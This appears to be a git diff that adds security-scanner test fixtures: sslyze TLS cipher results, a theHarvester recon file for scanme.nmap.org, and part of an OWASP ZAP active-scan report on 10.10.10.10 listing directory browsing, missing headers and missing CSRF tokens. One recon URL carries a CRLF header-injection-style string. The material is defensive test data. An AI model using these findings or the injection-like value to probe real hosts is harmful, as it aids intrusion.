"Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-ECDSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-ECDSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256", + "openssl_name": "ECDHE-ECDSA-CHACHA20-POLY1305" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384", + "openssl_name": "ECDHE-ECDSA-CAMELLIA256-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256", + "openssl_name": "ECDHE-ECDSA-CAMELLIA128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_ARIA_256_GCM_SHA384", + "openssl_name": "ECDHE-ECDSA-ARIA256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_ARIA_128_GCM_SHA256", + "openssl_name": "ECDHE-ECDSA-ARIA128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384", + "openssl_name": "ECDHE-ECDSA-AES256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CCM_8", + "openssl_name": "ECDHE-ECDSA-AES256-CCM8" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CCM", + "openssl_name": "ECDHE-ECDSA-AES256-CCM" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384", + "openssl_name": "ECDHE-ECDSA-AES256-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256", + "openssl_name": "ECDHE-ECDSA-AES128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8", + "openssl_name": "ECDHE-ECDSA-AES128-CCM8" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CCM", + "openssl_name": "ECDHE-ECDSA-AES128-CCM" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256", + "openssl_name": "ECDHE-ECDSA-AES128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", + "openssl_name": "ADH-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_RC4_128_MD5", + "openssl_name": "ADH-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 56, + "name": "TLS_DH_anon_WITH_DES_CBC_SHA", + "openssl_name": "ADH-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "ADH-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "ADH-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_AES_256_GCM_SHA384", + "openssl_name": "ADH-AES256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA256", + "openssl_name": "ADH-AES256-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "ADH-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_AES_128_GCM_SHA256", + "openssl_name": "ADH-AES128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA256", + "openssl_name": "ADH-AES128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "ADH-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ADH-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-ADH-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-ADH-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DH-RSA-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_AES_256_GCM_SHA384", + "openssl_name": "DH-RSA-AES256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA256", + "openssl_name": "DH-RSA-AES256-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_AES_128_GCM_SHA256", + "openssl_name": "DH-RSA-AES128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA256", + "openssl_name": "DH-RSA-AES128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DH-DSS-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_AES_256_GCM_SHA384", + "openssl_name": "DH-DSS-AES256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA256", + "openssl_name": "DH-DSS-AES256-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-DSS-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_AES_128_GCM_SHA256", + "openssl_name": "DH-DSS-AES128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA256", + "openssl_name": "DH-DSS-AES128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-DSS-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-RSA-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", + "openssl_name": "EDH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256", + "openssl_name": "DHE-RSA-CHACHA20-POLY1305" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256", + "openssl_name": "DHE-RSA-CAMELLIA256-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256", + "openssl_name": "DHE-RSA-CAMELLIA128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_ARIA_256_GCM_SHA384", + "openssl_name": "DHE-RSA-ARIA256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_ARIA_128_GCM_SHA256", + "openssl_name": "DHE-RSA-ARIA128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_GCM_SHA384", + "openssl_name": "DHE-RSA-AES256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_CCM_8", + "openssl_name": "DHE-RSA-AES256-CCM8" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_CCM", + "openssl_name": "DHE-RSA-AES256-CCM" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA256", + "openssl_name": "DHE-RSA-AES256-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_GCM_SHA256", + "openssl_name": "DHE-RSA-AES128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_CCM_8", + "openssl_name": "DHE-RSA-AES128-CCM8" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_CCM", + "openssl_name": "DHE-RSA-AES128-CCM" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA256", + "openssl_name": "DHE-RSA-AES128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DHE-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-DSS-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256", + "openssl_name": "DHE-DSS-CAMELLIA256-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256", + "openssl_name": "DHE-DSS-CAMELLIA128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_ARIA_256_GCM_SHA384", + "openssl_name": "DHE-DSS-ARIA256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_ARIA_128_GCM_SHA256", + "openssl_name": "DHE-DSS-ARIA128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_AES_256_GCM_SHA384", + "openssl_name": "DHE-DSS-AES256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA256", + "openssl_name": "DHE-DSS-AES256-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-DSS-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_AES_128_GCM_SHA256", + "openssl_name": "DHE-DSS-AES128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA256", + "openssl_name": "DHE-DSS-AES128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-DSS-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + } + ], + "tls_version_used": "TLS_1_2" + }, + "status": "COMPLETED" + }, + "tls_1_3_cipher_suites": { + "error_reason": null, + "error_trace": null, + "result": { + "accepted_cipher_suites": [], + "is_tls_version_supported": false, + "rejected_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_CHACHA20_POLY1305_SHA256", + "openssl_name": "TLS_CHACHA20_POLY1305_SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_AES_256_GCM_SHA384", + "openssl_name": "TLS_AES_256_GCM_SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_AES_128_GCM_SHA256", + "openssl_name": "TLS_AES_128_GCM_SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_AES_128_CCM_SHA256", + "openssl_name": "TLS_AES_128_CCM_SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_AES_128_CCM_8_SHA256", + "openssl_name": "TLS_AES_128_CCM_8_SHA256" + }, + "error_message": "Server rejected the connection" + } + ], + "tls_version_used": "TLS_1_3" + }, + "status": "COMPLETED" + }, + "tls_1_3_early_data": { + "error_reason": null, + "error_trace": null, + "result": null, + "status": "NOT_SCHEDULED" + }, + "tls_compression": { + "error_reason": null, + "error_trace": null, + "result": { + "supports_compression": true + }, + "status": "COMPLETED" + }, + "tls_fallback_scsv": { + "error_reason": null, + "error_trace": null, + "result": null, + "status": "NOT_SCHEDULED" + } + }, + "scan_status": "COMPLETED", + "server_location": { + "connection_type": "DIRECT", + "hostname": "10.10.10.10", + "http_proxy_settings": null, + "ip_address": "216.37.64.137", + "port": 443 + }, + "uuid": "233f7e4b-a6d2-48b8-b595-0510f2bc39ce" + } + ], + "sslyze_url": "https://github.com/nabla-c0d3/sslyze", + "sslyze_version": "5.0.1" +} \ No newline at end of file diff --git a/src/backend/tests/data/reports/theharvester/scanme.json b/src/backend/tests/data/reports/theharvester/scanme.json new file mode 100644 index 000000000..8775e983c --- /dev/null +++ b/src/backend/tests/data/reports/theharvester/scanme.json @@ -0,0 +1,16 @@ +{ + "asns": [ + "AS63949" + ], + "interesting_urls": [ + "http:\/\/scanme.nmap.org", + "http:\/\/scanme.nmap.org\/", + "http:\/\/scanme.nmap.org\/\/r\/n\/r\/nUser:\/r\/n-" + ], + "ips": [ + "45.33.32.156", + "74.207.244.221", + "2600:3c01::f03c:91ff:fe18:bb2f" + ], + "shodan": [] +} \ No newline at end of file diff --git a/src/backend/tests/data/reports/zap/active-scan.xml b/src/backend/tests/data/reports/zap/active-scan.xml new file mode 100644 index 000000000..1ff12a0ac --- /dev/null +++ b/src/backend/tests/data/reports/zap/active-scan.xml @@ -0,0 +1,339 @@ + + + + + + + + 0 + 0 + Directory Browsing + Directory Browsing + 2 + 2 + Medium (Medium) + Medium + <p>It is possible to view the directory listing. Directory listing may reveal hidden scripts, include files, backup source files, etc. which can be accessed to read sensitive information.</p> + + + + http://10.10.10.10/images/ + GET + + http://10.10.10.10/images/ + Parent Directory + + + + + http://10.10.10.10/shared/ + GET + + http://10.10.10.10/shared/ + Parent Directory + + + + + http://10.10.10.10/shared/css/ + GET + + http://10.10.10.10/shared/css/ + Parent Directory + + + + + http://10.10.10.10/shared/images/Acunetix/ + GET + + http://10.10.10.10/shared/images/Acunetix/ + Parent Directory + + + + 4 + <p>Disable directory browsing. If this is required, make sure the listed files does not induce risks.</p> + + <p>http://httpd.apache.org/docs/mod/core.html#options</p><p>http://alamo.satlug.org/pipermail/satlug/2002-February/000053.html</p> + 548 + 48 + 118 + + + + + 10020 + 10020 + X-Frame-Options Header Not Set + X-Frame-Options Header Not Set + 2 + 2 + Medium (Medium) + Medium + <p>X-Frame-Options header is not included in the HTTP response to protect against 'ClickJacking' attacks.</p> + + + + http://10.10.10.10 + GET + X-Frame-Options + + + + + + + http://10.10.10.10/ + GET + X-Frame-Options + + + + + + 2 + <p>Most modern Web browsers support the X-Frame-Options HTTP header. Ensure it's set on all web pages returned by your site (if you expect the page to be framed only by pages on your server (e.g. it's part of a FRAMESET) then you'll want to use SAMEORIGIN, otherwise if you never expect the page to be framed, you should use DENY. Alternatively consider implementing Content Security Policy's "frame-ancestors" directive. </p> + + <p>https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options</p> + 1021 + 15 + 1 + + + + + 10202 + 10202 + Absence of Anti-CSRF Tokens + Absence of Anti-CSRF Tokens + 1 + 2 + Low (Medium) + Medium + <p>No Anti-CSRF tokens were found in a HTML submission form.</p><p>A cross-site request forgery is an attack that involves forcing a victim to send an HTTP request to a target destination without their knowledge or intent in order to perform an action as the victim. The underlying cause is application functionality using predictable URL/form actions in a repeatable way. The nature of the attack is that CSRF exploits the trust that a web site has for a user. By contrast, cross-site scripting (XSS) exploits the trust that a user has for a web site. Like XSS, CSRF attacks are not necessarily cross-site, but they can be. Cross-site request forgery is also known as CSRF, XSRF, one-click attack, session riding, confused deputy, and sea surf.</p><p></p><p>CSRF attacks are effective in a number of situations, including:</p><p> * The victim has an active session on the target site.</p><p> * The victim is authenticated via HTTP auth on the target site.</p><p> * The victim is on the same local network as the target site.</p><p></p><p>CSRF has primarily been used to perform an action against a target site using the victim's privileges, but recent techniques have been discovered to disclose information by gaining access to the response. The risk of information disclosure is dramatically increased when the target site is vulnerable to XSS, because XSS can be used as a platform for CSRF, allowing the attack to operate within the bounds of the same-origin policy.</p> + + + + http://10.10.10.10 + GET + + + <form action="https://nmap.org/search.html" id="cse-search-box-sidebar"> + + + + + http://10.10.10.10/ + GET + + + <form action="https://nmap.org/search.html" id="cse-search-box-sidebar"> + + + + 2 + <p>Phase: Architecture and Design</p><p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</p><p>For example, use anti-CSRF packages such as the OWASP CSRFGuard.</p><p></p><p>Phase: Implementation</p><p>Ensure that your application is free of cross-site scripting issues, because most CSRF defenses can be bypassed using attacker-controlled script.</p><p></p><p>Phase: Architecture and Design</p><p>Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330).</p><p>Note that this can be bypassed using XSS.</p><p></p><p>Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.</p><p>Note that this can be bypassed using XSS.</p><p></p><p>Use the ESAPI Session Management control.</p><p>This control includes a component for CSRF.</p><p></p><p>Do not use the GET method for any request that triggers a state change.</p><p></p><p>Phase: Implementation</p><p>Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.</p> + <p>No known Anti-CSRF token [anticsrf, CSRFToken, __RequestVerificationToken, csrfmiddlewaretoken, authenticity_token, OWASP_CSRFTOKEN, anoncsrf, csrf_token, _csrf, _csrfSecret, __csrf_magic, CSRF, _token, _csrf_token] was found in the following HTML form: [Form 1: "cof" "cx" "ie" "q" "sa" ].</p> + <p>http://projects.webappsec.org/Cross-Site-Request-Forgery</p><p>http://cwe.mitre.org/data/definitions/352.html</p> + 352 + 9 + 1 + + + + + 10017 + 10017 + Cross-Domain JavaScript Source File Inclusion + Cross-Domain JavaScript Source File Inclusion + 1 + 2 + Low (Medium) + Medium + <p>The page includes one or more script files from a third-party domain.</p> + + + + http://10.10.10.10 + GET + //g.adspeed.net/ad.php?do=js&zid=14678&wd=-1&ht=-1&target=_blank + + <script type="text/javascript" src="//g.adspeed.net/ad.php?do=js&amp;zid=14678&amp;wd=-1&amp;ht=-1&amp;target=_blank"></script> + + + + + http://10.10.10.10 + GET + //pagead2.googlesyndication.com/pagead/js/adsbygoogle.js + + <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script> + + + + + http://10.10.10.10/ + GET + //g.adspeed.net/ad.php?do=js&zid=14678&wd=-1&ht=-1&target=_blank + + <script type="text/javascript" src="//g.adspeed.net/ad.php?do=js&amp;zid=14678&amp;wd=-1&amp;ht=-1&amp;target=_blank"></script> + + + 